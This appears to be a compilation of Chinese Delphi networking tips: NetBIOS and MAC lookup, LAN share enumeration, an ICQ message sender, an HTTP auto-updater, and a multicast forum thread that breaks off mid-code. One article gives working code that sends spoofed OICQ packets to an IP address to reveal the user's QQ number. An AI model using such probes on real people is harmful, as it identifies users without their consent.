Reserved: array[0..9] of byte; { Reserverd for Bios use }

Event: THandle; { WIN32 event handle to be signalled }

{ for asynch cmd completion }

{$ELSE}

Reserved: array[0..13] of byte; { Reserved }

{$ENDIF}

end;

{ Netbios Name Info record }

PNameInfo = ^TNameInfo;

TNameInfo = packed record { name info record }

Name: TNBName; { netbios name }

NameNum:byte; { name number }

NameSt: byte; { name status }

end;

{ Netbios adapter status }

PAdpStat = ^TAdpStat;

TAdpStat = packed record { adapter status record}

ID: TMacAddress; { adapter mac address }

VMajor: byte; { software version major number }

Resvd0: byte;

AdpType: byte; { adapter type }

VMinor: byte; { software version minor number }

RptTime: word; { reporting time period }

RcvCRC: word; { receive crc errors }

RcvOth: word; { receive other errors }

TxmCol: word; { transmit collisions }

TxmOth: word; { transmit other errors }

TxmOK: LongInt; { successfull transmissions }

RcvOK: LongInt; { successfull receives }

TxmRetr: word; { transmit retries }

NoRcvBuf: word; { number of 'no receive buffer' }

T1_tmo: word; { t1 time-outs }

Ti_tmo: word; { ti time_outs }

Resvd1: LongInt;

Free_Ncbs:word; { number of free ncb's }

Cfg_Ncbs: word; { number of configured ncb's }

max_Ncbs: word; { max ncb's used }

NoTxmBuf: word; { number of 'no transmit buffer'}

MaxDGSize:word; { max. datagram size }

Pend_Ses: word; { number of pending sessions }

Cfg_Ses: word; { number of configured sessions }

Max_Ses: word; { max sessions used }

Max_SPSz: word; { max. session packet size }

nNames: word; { number of names in local table}

Names: array[0..15] of TnameInfo; { local name table }

end;

{

Structure returned to the NCB command NCBSSTAT is SESSION_HEADER fo

llowed

by an array of SESSION_BUFFER structures. If the NCB_NAME starts wi

th an

asterisk then an array of these structures is returned containing t

he

status for all names.

}

{ session header }

PSession_Header = ^TSession_Header;

TSession_Header = packed record

sess_name: byte;

num_sess: byte;

rcv_dg_outstanding: byte;

rcv_any_outstanding: byte;

end;

{ session buffer }

PSession_Buffer = ^TSession_Buffer;

TSession_Buffer = packed record

lsn: byte;

state: byte;

local_name: TNBName;

remote_name: TNBName;

rcvs_outstanding: byte;

sends_outstanding: byte;

end;

{

Structure returned to the NCB command NCBENUM.

On a system containing lana's 0, 2 and 3, a structure with

length =3, lana[0]=0, lana[1]=2 and lana[2]=3 will be returned.

}

PLana_Enum = ^TLana_Enum;

TLANA_ENUM = packed record

length: byte; { Number of valid entries in lana[] }

lana: array[0..(MAXLANAS - 1)] of byte;

end;

{

Structure returned to the NCB command NCBFINDNAME is FIND_NAME_HEAD

ER followed

by an array of FIND_NAME_BUFFER structures.

}

PFind_Name_Header = ^TFind_Name_Header;

TFind_Name_Header = packed record

node_count: word;

reserved: byte;

unique_group: byte;

end;

PFind_Name_Buffer = ^TFind_Name_Buffer;

TFind_Name_Buffer = packed record

length: byte;

access_control: byte;

frame_control: byte;

destination_addr:TMacAddress;

source_addr: TMacAddress;

routing_info: array[0..17] of byte;

end;

{

Structure provided with NCBACTION. The purpose of NCBACTION is to p

rovide

transport specific extensions to netbios.

}

PAction_Header = ^TAction_Header;

TAction_Header = packed record

transport_id: LongInt;

action_code: Word;

reserved: Word;

end;

{$IFDEF WIN32}

function Netbios(P: PNCB): Char; stdcall;

{$ENDIF}

{ Exposed functions }

function NetbiosCmd(var NCB: TNCB): Word;

implementation

{$IFDEF WIN32}

function Netbios; external 'netapi32.dll' name 'Netbios';

{$ENDIF}

{---------------------------------}

{ execute a Windows Netbios Call }

{---------------------------------}

function NetbiosCmd(var NCB: TNCB): Word;

begin

{$IFNDEF WIN32}

asm

push bp { save bp }

push ss { save ss }

push ds { save ds }

les bx, NCB { get segment/offset address of NCB }

call NetBiosCall; { 16 bit Windows Netbios call }

xor ah,ah

mov @Result, ax { store return code }

pop ds { restore ds }

pop ss { restore ss }

pop bp { restore bp }

end;

{$ELSE}

Result := Word(Netbios(PNCB(@NCB))); { 32 bit Windows Netbios call }

{$ENDIF}

end;

end.

================================

Function NBGetAdapterAddress(a:Integer) : String;

Var

NCB : TNCB; // Netbios control block //NetBios控制块

ADAPTER : TADAPTERSTATUS; // Netbios adapter status//取网卡状态

LANAENUM : TLANAENUM; // Netbios lana

intIdx : Integer; // Temporary work value//临时变量

cRC : Char; // Netbios return code//NetBios返回值

strTemp : String; // Temporary string//临时变量

Begin

// Initialize

Result := '';

Try

// Zero control blocl

ZeroMemory(@NCB, SizeOf(NCB));

// Issue enum command

NCB.ncb_command := Chr(NCBENUM);

cRC := NetBios(@NCB);

// Reissue enum command

NCB.ncb_buffer := @LANAENUM;

NCB.ncb_length := SizeOf(LANAENUM);

cRC := NetBios(@NCB);

If Ord(cRC)<>0 Then

exit;

// Reset adapter

ZeroMemory(@NCB, SizeOf(NCB));

NCB.ncb_command := Chr(NCBRESET);

NCB.ncb_lana_num := LANAENUM.lana[a];

cRC := NetBios(@NCB);

If Ord(cRC)<>0 Then

exit;

// Get adapter address

ZeroMemory(@NCB, SizeOf(NCB));

NCB.ncb_command := Chr(NCBASTAT);

NCB.ncb_lana_num := LANAENUM.lana[a];

StrPCopy(NCB.ncb_callname, '*');

NCB.ncb_buffer := @ADAPTER;

NCB.ncb_length := SizeOf(ADAPTER);

cRC := NetBios(@NCB);

// Convert it to string

strTemp := '';

For intIdx := 0 To 5 Do

strTemp := strTemp + InttoHex(Integer(ADAPTER.adapter_address[in

tIdx]),2);

Result := strTemp;

Finally

End;

End;


在Delphi程序中获取网络资源信息
在ＤＥＬＰＨＩ程序中获取网络资源信息

    充分利用局域网中的共享资源，无疑将减少用户的硬件和软件投资。在我们的程序中，常常会需要列举局域网络中的共享资源，如在ＭＩＤＡＳ多层应用程序中可能要选择上层应用程序所在的服务器的名称、在打印模块中选择可用的网络打印机、在应用程序中选择其它机器上的共享文件等。

以一个ＭＩＤＡＳ三层数据库应用程序为例子，我们可以用ＤＥＬＰＨＩ制作一个客户端应用程序和一个中间层业务处理程序，由中间层业务处理程序向数据库存取数据，再将结果反馈到客户端。

当客户端应用程序与中间层程序和数据库服务程序不在一台机器上时，需要指定中间层程序和数据库服务程序所在的服务器的名称。

    在ＤＥＬＰＨＩ程序中，我们可以通过ＷＩＮ　ＡＰＩ来列举局域网络中的服务器名称、用户计算机名称、用户共享目录和文件、共享打印机等资源，这些ＡＰＩ由文件ＭＰＲ．ＤＬＬ提供。

下面以ＷＩＮ９Ｘ的对等网络为例子，列举“网络邻居”中的工作组名称、用户计算机名称、共享目录和文件、共享打印机等资源。

    一、列举“网络邻居”中的工作组名称

    在“网络邻居”中，打开“整个网络”，可以看到网络中的所有工作组的名称。在ＤＥＬＰＨＩ程序中，可以用ＡＰＩ函数WNetOpenEnum和WNetEnumResource来列举“网络邻居”中的工作组名称。

下面是两个ＡＰＩ函数的简介，具体请参见ＤＥＬＰＨＩ帮助文件。

//WNetOpenEnum用于获取一个网络资源句柄，作为WNetEnumResource列举网络资源的依据，其函数原型如下：

function WNetOpenEnum(

dwScope,//网络范围,RESOURCE_CONNECTED(已连接机器),RESOURCE_GLOBALNET(所有机器),

        RESOURCE_REMEMBERED(已记忆的机器)

dwType,//资源类型,RESOURCETYPE_ANY(所有资源),RESOURCETYPE_DISK(文件资源),

       RESOURCETYPE_PRINT(打印资源)

dwUsage//资源用途,0(所有资源),RESOURCEUSAGE_CONNECTABLE(所有可连接资源),

       RESOURCEUSAGE_CONTAINER(所有container资源)仅在dwScope为RESOURCE_GLOBALNET是有效

: DWORD;

lpNetResource: PNetResource;//NetResource类型指针，其内存表示网络资源的层次,为NIL时表示最上层，仅在dwScope为RESOURCE_GLOBALNET时有效,其它情况时应为NIL

var lphEnum: THandle//返回网络资源句柄，是WNetEnumResource进一步列举网络资源的依据

): DWORD; stdcall;

返回值NO_ERROR表示执行成功，否则应用GetLastError获取错误信息

//WNetEnumResource用于列出当前网络中可用的资源，包括文件资源和打印资源，其函数原型如下：

function WNetEnumResource(

hEnum: THandle;//WNetEnumResource进一步列举网络资源的依据,通常由WNetOpenEnum取得

var lpcCount: DWORD;//要取得资源的数目，$FFFFFFFF表示列出所有资源，返回值为实际资源数目

lpBuffer: Pointer;//接收结果的缓冲区的指针，一般是NetResource类型的数组

var lpBufferSize: DWORD//接收结果的缓冲区大小(Byte)

): DWORD; stdcall;

返回值为NO_ERROR(执行成功)或ERROR_NO_MORE_ITEMS(资源列举完毕)，否则应用GetLastError获取

错误信息。

    要列举网络中的工作组信息，首先要获取网络中的网络类型，再获取每一种类型网络中包含的

工作组的名称。

    １、获取网络类型信息

        局域网中可以是由多种类型的网络组成，如由Microsoft、Novell等类型的网络组成。用ＡＰＩ

    函数WNetOpenEnum和WNetEnumResource可以获取网络类型信息。

    （１）用WNetOpenEnum函数返回一个句柄，作为WNetEnumResource列举网络资源的依据。我们的目

      标是列举“整个网络”的工作组名称，因而网络范围为RESOURCE_GLOBALNET(所有机器)、资源类

      型为RESOURCETYPE_DISK(文件资源)、资源用途为RESOURCEUSAGE_CONTAINER(所有container资源)、

      网络层次为最高层(NIL)，这样可以得到一个句柄，以便进一步列举网络资源。具体的程序段如下：

{ Res : DWORD; lphEnum : THandle; }

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

If Res <> NO_ERROR Then exit;//执行失败

    （２）用ＡＰＩ函数WNetEnumResource可以获取网络类型信息，此时要用到上面获取的句柄lphEnum，

      可以获取一个NetResource类型的数组，每个NetResource元素即为一种网络类型信息。

      具体的请参见以下程序段及注释信息。

type

TNetResourceArray = ^TNetResource;//网络类型的数组

Var

NetResource : TNetResource;

Buf : Pointer;

Count,BufSize,Res : DWORD;

lphEnum : THandle;

p : TNetResourceArray;

i,j : SmallInt;

NetworkTypeList : TList;

begin

......

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);//获取网络类型信息

If ( Res = ERROR_NO_MORE_ITEMS )//资源列举完毕

or (Res <> NO_ERROR )//执行失败

Then Exit;

P := TNetResourceArray(Buf);

For I := 0 To Count - 1 Do//记录各个网络类型的信息

Begin

NetworkTypeList.Add(p);

Inc(P);

End;

......

end;

    ２、获取工作组信息

        在获取网络类型信息后，可以根据此信息获取此类型网络中的服务器（工作组）信息。

        在WNetOpenEnum函数中，将参数lpNetResource指定为一种网络类型信息，可以获取一

个句柄，在WNetEnumResource中利用这个句柄，可以获取一个NetResource类型的数组，每个

NetResource元素的lpRemoteName部分即为一个工作组名称（如“MyWorkGroup”）。

        具体的请参见以下程序段及注释信息。

//列出一个网络类型中的所有工作组名称

NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息

//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回句柄

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

If Res <> NO_ERROR Then break;//执行失败

While true Do//列举一个网络类型的所有工作组的信息

Begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取一个网络类型的文件资源信息，

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If ( Res = ERROR_NO_MORE_ITEMS ) //资源列举完毕

or (Res <> NO_ERROR) //执行失败

then break;

P := TNetResourceArray(Buf);

For I := 0 To Count - 1 Do//列举各个工作组的信息

Begin

List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称

Inc(P);

End;

End;

    ３、获取工作组信息的完全源代码

//列举出整个网络中的工作组名称，返回值为TRUE表示执行成功，

//参数List中返回服务器（工作组）的名称

Function GetServerList( var List : TStringList ) : Boolean;

Var

NetResource : TNetResource;

Buf : Pointer;

Count,BufSize,Res : DWORD;

lphEnum : THandle;

p : TNetResourceArray;

i,j : SmallInt;

NetworkTypeList : TList;

Begin

Result := False;

NetworkTypeList := TList.Create;

List.Clear;

//获取整个网络中的文件资源的句柄，lphEnum为返回名柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

If Res <> NO_ERROR Then exit;//Raise Exception(Res);//执行失败

//获取整个网络中的网络类型信息

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If ( Res = ERROR_NO_MORE_ITEMS )//资源列举完毕

or (Res <> NO_ERROR )//执行失败

Then Exit;

P := TNetResourceArray(Buf);

For I := 0 To Count - 1 Do//记录各个网络类型的信息

Begin

NetworkTypeList.Add(p);

Inc(P);

End;

//WNetCloseEnum关闭一个列举句柄

Res := WNetCloseEnum(lphEnum);//关闭一次列举

If Res <> NO_ERROR Then exit;

For J := 0 To NetworkTypeList.Count-1 Do //列出各个网络类型中的所有工作组名称

Begin//列出一个网络类型中的所有工作组名称

NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息

//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回名柄

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

If Res <> NO_ERROR Then break;//执行失败

While true Do//列举一个网络类型的所有工作组的信息

Begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取一个网络类型的文件资源信息，

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If ( Res = ERROR_NO_MORE_ITEMS ) //资源列举完毕

or (Res <> NO_ERROR) //执行失败

then break;

P := TNetResourceArray(Buf);

For I := 0 To Count - 1 Do//列举各个工作组的信息

Begin

List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称

Inc(P);

End;

End;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

If Res <> NO_ERROR Then break;//执行失败

End;

Result := True;

FreeMem(Buf);

NetworkTypeList.Destroy;

End;

    二、列举一个工作组中的计算机名称

        在WNetOpenEnum函数中，将参数lpNetResource中的lpRemoteName部分指定为一个工作组的

名称（如“MyWorkGroup”），可以获取一个句柄，在WNetEnumResource中利用这个句柄，可以获取

一个NetResource类型的数组，每个NetResource元素的lpRemoteName部分即为一个计算机名称（如

“\wangfajun”）。

        具体的请参见以下程序段及注释信息。

NetResource.lpRemoteName := @GroupName[1];//指定工作组名称

NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//显示类型为服务器（工作组）

NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息

//获取指定工作组的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

    获取计算机名称的完全程序源代码如下：

//列举出指定工作组GroupName中的计算机名称，返回值为TRUE表示执行成功，

//参数List中返回计算机名称

Function GetUsers( GroupName : string; var List : TStringList ) : Boolean;

Var

NetResource : TNetResource;

Buf : Pointer;

Count,BufSize,Res : DWord;

Ind : Integer;

lphEnum : THandle;

Temp : TNetResourceArray;

Begin

Result := False;

List.Clear;

FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

NetResource.lpRemoteName := @GroupName[1];//指定工作组名称

NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器（工作组）

NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息

//获取指定工作组的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

If Res <> NO_ERROR Then Exit; //执行失败

While True Do//列举指定工作组的网络资源

Begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取计算机名称

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕

If (Res <> NO_ERROR) then Exit;//执行失败

Temp := TNetResourceArray(Buf);

For Ind := 0 to Count - 1 do//列举工作组的计算机名称

Begin

//获取工作组的计算机名称，+2表示删除"\"，如\wangfajun=>wangfajun

List.Add(Temp^.lpRemoteName + 2);

Inc(Temp);

End;

End;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

If Res <> NO_ERROR Then exit;//执行失败

Result := True;

FreeMem(Buf);

End;

    三、列举一个计算机中的共享资源

        在WNetOpenEnum函数中，将参数lpNetResource中的lpRemoteName部分指定为一个计算机的

名称（如“\wangfajun”），可以获取一个句柄，在WNetEnumResource中利用这个句柄，可以获取

一个NetResource类型的数组，每个NetResource元素的lpRemoteName部分即为计算机中的共享资源名

称（可以是共享目录和文件名称、共享打印机名称等，如“\wangfajun\u20849共享文件”）。

        具体的请参见以下程序段及注释信息。

NetResource.lpRemoteName := @UserName[1];//指定计算机名称

//获取指定计算机的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

    获取计算机名称的完全程序源代码如下：

//列举出指定计算机UserName中的共享资源名称，返回值为TRUE表示执行成功，

//参数List中返回共享资源名称

Function GetUserResource( UserName : string ; var List : TStringList ) : Boolean;

Var

NetResource : TNetResource;

Buf : Pointer;

Count,BufSize,Res : DWord;

Ind : Integer;

lphEnum : THandle;

Temp : TNetResourceArray;

Begin

Result := False;

List.Clear;

FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

NetResource.lpRemoteName := @UserName[1];//指定计算机名称

//获取指定计算机的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

If Res <> NO_ERROR Then exit;//执行失败

While True Do//列举指定工作组的网络资源

Begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取指定计算机的网络资源名称

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕

If (Res <> NO_ERROR) then Exit;//执行失败

Temp := TNetResourceArray(Buf);

For Ind := 0 to Count - 1 do

Begin

//获取指定计算机中的共享资源名称，+2表示删除"\"，

//如\wangfajun=>wangfajun

List.Add(Temp^.lpRemoteName + 2);

Inc(Temp);

End;

End;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

If Res <> NO_ERROR Then exit;//执行失败

Result := True;

FreeMem(Buf);

End;

    以上程序在PWIN98+DELPHI3.0下调试通过。


追捕的OICQ探测技术
追捕的OICQ探测技术 ---冯志宏 [撰稿]

实际上目前所有的OICQ探测方法都一样，发送一个OICQ消息给对方，凭借OICQ

的返回信息来判断对方的OICQ号码，具体的DELPHI实现如下：

NMUDP1是ICS控件包的UDP控件。

NMUDP1.ReportLevel := Status_Basic;

NMUDP1.RemoteHost := edit1.Text;

NMUDP1.RemotePort := 4000;

UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A

+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f

+FormatDateTime('yyyy-mm-dd',now)

+#$1f

+FormatDateTime('hh:mm:ss',now)

+#$1f

+ '你正在被某位朋友查询。他使用了追捕这个工具软件(http://www.zhuibu.com/)进行探测，此OICQ号码已经被反馈给对方。'

+ '信息所提示的OICQ号码为虚假号码，但可以即时回复。' + #$03;

if OicqCheck.Checked then begin

for SendUdpNum:=1 to 10 do begin

MyStream := TMemoryStream.Create;

try

MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));

NMUDP1.SendStream(MyStream);

finally

MyStream.Free;

end;

end;

end;

追捕是怎样得到检测结果的呢？下面是具体实现的程序段:

MyStream := TMemoryStream.Create;

try

NMUDP1.ReadStream(MyStream);

SetLength(TmpStr,NumberBytes);

MyStream.Read(TmpStr[1],NumberBytes);

finally

MyStream.Free;

end;

j := Pos( #$02 +#$02 +#$00 +#$00 , TmpStr);

k := Pos( #$02 +#$03 +#$00 +#$00 , TmpStr);

m := Pos( #$02 +#$03 +#$0a +#$00 , TmpStr);

o := Pos( #$02 +#$03 +#$02 +#$00 , TmpStr);

if (j=1) or (k=1) or (m=1) or (o=1) then begin

j := Pos( #$02 +#$02 +#$00 +#$00 + 'y', TmpStr);

k := Pos( #$02 +#$03 +#$00 +#$00 + 'y', TmpStr);

m := Pos( #$02 +#$03 +#$0a +#$00 + 'y', TmpStr);

o := Pos( #$02 +#$03 +#$02 +#$00 + 'y', TmpStr);

OicqVer := '未知';

if j=1 then OicqVer := '425';

if k=1 then OicqVer := '725';

if m=1 then OicqVer := '820';

if o=1 then OicqVer := '810';

if (j=1) or (k=1) or (m=1) or (o=1) then begin

TmpS := '';

for j:=1 to length(TmpStr) do begin

if TmpStr[j] in ['0'..'9'] then tmpS := tmpS + TmpStr[j];

end;

if TmpS='0' then Label2.Caption := 'OICQ处于关闭状态，版本:'+ OicqVer

else Label2.Caption :='OICQ号码为'+ TmpS + ',版本:'+ OicqVer;

end;

j := Pos( #$02 +#$02 +#$00 +#$00 + 'x', TmpStr);

k := Pos( #$02 +#$03 +#$00 +#$00 + 'x', TmpStr);

m := Pos( #$02 +#$03 +#$0a +#$00 + 'x', TmpStr);

o := Pos( #$02 +#$03 +#$02 +#$00 + 'x', TmpStr);

if (j=1) or (k=1) or (m=1) or (o=1) then begin

J := 8;

TmpOicqNUm := '';

While TmpStr[J]<>#$1f do begin

TmpOicqNum :=TmpOicqNum + TmpStr[J];

Inc(J);

end;

J := J + 6;

While TmpStr[J]<>#$1f do begin

Inc(J);

end;

J := J + 1;

While TmpStr[J]<>#$1f do begin

Inc(J);

end;

J := J + 1;

TmpOicqMsg := '';

While TmpStr[J]<>#$03 do begin

TmpOicqMsg := TmpOicqMsg + TmpStr[J];

Inc(J);

end;

if TmpOicqMsg<>LastOicqMessage then begin

LastOicqMessage := TmpOicqMsg;

Messagebox(Form1.handle, PChar('OICQ用户' + TmpOicqNum + '对你的探测作出回应：' + #$0D + #$0A + TmpOicqMsg), '警告信息', MB_ICONWARNING +mb_ok);

end;

end;

exit;

end;


发送短信息给ICQ？
send a message to ICQ?

{

You need 3 TEdits, 1 TMemo und 1 TClientSocket.

Set the TClientsocket's Port to 80 and the Host to wwp.mirabilis.com.

}

var

Form1: TForm1;

csend: string;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

begin

cSend := 'POST http://wwp.icq.com/scripts/WWPMsg.dll HTTP/2.0' + chr(13) + chr(10);

cSend := cSend + 'Referer: http://wwp.mirabilis.com' + chr(13) + chr(10);

cSend := cSend + 'User-Agent: Mozilla/4.06 (Win95; I)' + chr(13) + chr(10);

cSend := cSend + 'Connection: Keep-Alive' + chr(13) + chr(10);

cSend := cSend + 'Host: wwp.mirabilis.com:80' + chr(13) + chr(10);

cSend := cSend + 'Content-type: application/x-www-form-urlencoded' + chr(13) + chr(10);

cSend := cSend + 'Content-length:8000' + chr(13) + chr(10);

cSend := cSend + 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' +

chr(13) + chr(10) + chr(13) + chr(10);

cSend := cSend + 'from=' + edit1.Text + ' &fromemail=' + edit2.Text +

' &fromicq:110206786' + ' &body=' + memo1.Text + ' &to=' + edit3.Text + '&Send=';

clientsocket1.Active := True;

end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;

Socket: TCustomWinSocket);

begin

clientsocket1.Socket.SendText(csend);

clientsocket1.Active := False;

end;


程序的自动升级
Detect and Download a new version of (an own) application?

uses

{...,}IniFiles, UrlMon,

type

TForm1 = class(TForm)

{...}

private

winsc: TiniFile;

old: Integer;

vernfo: TIniFile;

end;

implementation

{$R *.dfm}

function DownloadFile(Source, Dest: string): Boolean;

{ Function for Downloading the file found on the net }

begin

try

Result := UrlDownloadToFile(nil, PChar(Source), PChar(Dest), 0, nil) = 0;

except

Result := False;

end;

end;

function GetPathPath: string;

{ Retrive app path }

begin

Result := ExtractFilePath(Application.ExeName);

end;

procedure TForm1.DownLoadNewVersion1Click(Sender: TObject);

var

apath: string;

new: Integer;

begin

// This is the exact code from my application

apath := GetPathPath;

Gauge1.Progress := 0;

StatusBar1.SimplePanel := True;

StatusBar1.SimpleText := 'Connecting to http://tsoft.home.ro';

Gauge1.Progress := 20;

if DownloadFile('http://www.tsoft.home.ro/update.ini', PChar(apath) + '/update.ini') then

begin

Gauge1.Progress := 50;

StatusBAr1.SimplePanel := True;

StatusBar1.SimpleText := 'Checking for newer versions...';

vernfo := TiniFile.Create(GetPathPath + '/update.ini');

new := vernfo.ReadInteger('version', 'wsc', 7);

vernfo.Free;

if (old = new) then

begin

StatusBar1.SimplePanel := True;

StatusBar1.SimpleText := 'No new version detected';

Gauge1.Progress := 100;

end

else if DownloadFile('http://www.tsoft.home.ro/winsafe.exe',

PChar(apath) + '/winsafe.exe') then

begin

ShowMessage('Update succeseful');

Gauge1.Progress := 100;

winsc := TIniFile.Create(ChangeFileExt(Application.ExeName, '.ini'));

winsc.WriteInteger('wsc', 'vernfo', new);

winsc.Free;

end

else

MessageDlg('A new version has appeard but it requires a second install',

mtInformation, [mbOK], 0);

end

else

begin

StatusBar1.SimplePanel := True;

StatusBar1.SimpleText := 'Failed to connect probably a internet problem';

Gauge1.Progress := 0;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

//App version

winsc := TIniFile.Create(ChangeFileExt(Application.ExeName, '.ini'));

try

old := winsc.ReadInteger('wsc', 'vernfo', 1);

finally

winsc.Free;

end;

end;

end.

{The concept is very simple u download a ini file from your website that contains

the version you compare it with the one from your computer and it downloads the

file if the versions are Not equal if you find any froblems write me.}

附件>>>> 3_update.zip


网络广播
来自：Ironhero, 时间：2002-2-22 10:35:00, ID：934242 [显示：小字体 | 大字体]

多播的IP地址是：224.0.0.0至239.255.255.255，我想通过组播发送信息到拨号上网的对方，

但我国的IP地址是202开头的（我用猫上网时就这样），也就是说根本不能组播，但看到好

多贴子都说可以，请问各位高手，多播是这回事吗？怎样可以做到？

来自：kucio, 时间：2002-2-22 17:49:00, ID：935651

多播地址和机器的实际IP地址是两码事，互不影响

我曾经做过局域网内的多播程序，但是在Internet上就不知道了

需要注意一点：224.0.0.0--224.0.0.255这些地址被Windows系统占用，我们在程序中

不能再使用

来自：Ironhero, 时间：2002-2-23 9:17:00, ID：936516

谢谢cukio，再次请教您，假如在局域网，那么电脑的IP地址应如何设置呢？

来自：kucio, 时间：2002-2-26 13:42:00, ID：943709

我们的IP是随意设的，但是都在同一网段中，形式如89.0.0.???。如果Client和Server

之间隔有路由的话，路由器必须经过配置多播信息才能通过。

至于多播地址我们约定的是224.1.1.1，server在初始化的时候会按照这个多播地址创

建一个多播组，然后Client初始化时加入这个多播组就可以收多播信息了。

下面的两段程序你研究一下吧（第一个类定义，第二个接受程序）

unit U_UDPSock;

interface

uses

Classes, SysUtils, WinSock, Windows, NB30;

const

MINBUFFERSIZE = 2048;

DEFAULTBUFFERSIZE = 16384;

MAXBUFFERSIZE = 63488; //62*1024

MULTICAST_TTL = 10;

type

TArraySocket = Array Of TSocket;

PASTAT = ^TASTAT;

TASTAT = record

adapter : TAdapterStatus;

name_buf : TNameBuffer;

end;

PIP_mreq = ^TIP_mreq;

TIP_mreq = record

imr_multiaddr : in_addr;

imr_interface : in_addr;

end;

TAPInAddr = Array [0..10] of PInAddr; // array of pInaddr

PAPInAddr = ^TAPInaddr; // pointer of Array

//Note : Dut to broadcast fragmentation's problem, broadcast message can be at most

//512 bytes long defined by WinSock, not longer than 1472 by Berkeley Socket

//not longer than 1468 under MIPS machine

//So don't send a broadcast message longer than 512 here, no use

TUDPSockType = (stMultiCastSender, stMultiCastReceiver, stUnicastSender, stUnicastReceiver,

stBroadcastSender, stBroadcastReceiver);

TUDPOnRecv = procedure (buffer: Pointer; len: integer; fromIP: string; fromPort: u_Short) of Object;

TUDPRecvThd = class(TThread)

private

fSocks : TArraySocket;

fSockCount : integer;

fBufSize : integer;

fOnRecv : TUDPOnRecv;

protected

procedure Execute ; override;

public

constructor Create(var Socks : TArraySocket; OnRecv : TUDPOnRecv; BufSize : integer);

end;

TUDPSock2 = class(TObject)

private

fbSetupReady : Boolean;

fSockType : TUDPSockType;

fOnRecv : TUDPOnRecv;

fSockCount : integer;

fAddrTo : array of TSockAddr;

fMCReq : array of TIP_mreq;

fSocks : TArraySocket;

fRecvThd : TUDPRecvThd;

fLocalIP : String;

fBufSize : integer;

function LocalIPValid(var LocalIP : string): Boolean;

public

property OnRecv : TUDPOnRecv read fOnRecv write fOnRecv;

constructor Create; ReIntroduce;

destructor Destroy; Override;

procedure LocalIPs(slIPs : TStringList);

procedure LocalMAC(slMac : TStringList);

procedure StartReceive;

function Add(RemoteIP : string; Port : u_Short): integer;

function Setup(udpSockType : TUDPSockType; LocalIP : string = '';

BufferSize : integer = DEFAULTBUFFERSIZE) : Boolean;

function Close : Boolean;

function Send(index : integer; buffer : Pointer; len : integer) : Boolean;

end;

implementation

var

wsData : TWSAData;

procedure TUDPRecvThd.Execute;

var

readFDs : TFDSet;

i, nRecved, nAddrLen: integer;

buf : array [0..MAXBUFFERSIZE] of Byte;

SockFrom : TSockAddr;

begin

Priority := tpHighest;

